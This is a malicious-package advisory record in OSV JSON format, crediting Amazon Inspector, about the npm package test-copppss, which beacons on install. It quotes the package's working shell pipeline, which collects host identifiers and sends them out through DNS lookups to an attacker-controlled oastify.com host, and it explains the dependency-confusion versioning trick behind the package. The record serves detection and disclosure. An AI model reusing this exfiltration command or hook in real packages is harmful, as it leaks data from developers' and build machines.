{"id":"MAL-2026-5926","summary":"Malicious code in test-copppss (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (03106e028cee7749b7f3a9b327142fc0a402574bc72f3a62d129aa891afe85fe)\nOn `npm install`, the package's `preinstall` hook (`node index.js \u003e /dev/null 2\u003e&1`) runs a shell pipeline that collects host identifiers — `hostname`, `pwd`, `whoami`, the package name `test-copppss`, and the machine's public IP via `curl https://ifconfig.me` — hex-encodes the concatenation with `xxd -p`, and exfiltrates it as DNS subdomain lookups to `*.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com` (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is `exec(\"a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done\")`. The package metadata (empty description, near-max version `1.999.0` to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve `test-copppss` to this public name and is harvesting the host fingerprint of any environment that does.\n","modified":"2026-06-16T21:16:47.348399011Z","published":"2026-06-16T20:01:12Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-06-16T21:06:47.486296869Z","modified_time":"2026-06-16T20:01:12Z","sha256":"03106e028cee7749b7f3a9b327142fc0a402574bc72f3a62d129aa891afe85fe","source":"amazon-inspector","versions":["1.999.0"],"id":"IN-MAL-2026-006832"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/test-copppss/v/1.999.0"}],"affected":[{"package":{"name":"test-copppss","ecosystem":"npm","purl":"pkg:npm/test-copppss"},"versions":["1.999.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/test-copppss/MAL-2026-5926.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"593ec91dfcc3dd5894e18beef9c0cbb072c8f19d544cabf24784cd1a790bc437","tlsh":"5ae0f1d0f6aa9b3273e110419c051017b4c3beab1c72dc02164cc53d22c0e86a0b45d6"},{"sha256":"24d4d768dc9a64ff9fcfd88cb655576adf4ca3b9e888b38b5324ca46acc7e531","tlsh":"90e07d345e216f3332c801911c1a5003a3a1cf1f0018bd0973cb051c408e677acfe31d","path":"package.json"}],"package_integrity":[{"filename":"test-copppss-1.999.0.tgz","hashes":{"sha512_sri":"sha512-z2EvjEhn7DfCm9tJR066inupnlGR1YOUo0hCWAO0P9WATEs9yERdTehtmD25RKHUQnFRaMUSY4JGN5V8a3fxrw==","sha1":"29bad4751233c7c0ee7d1310d4366f4b4faf445e"}}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}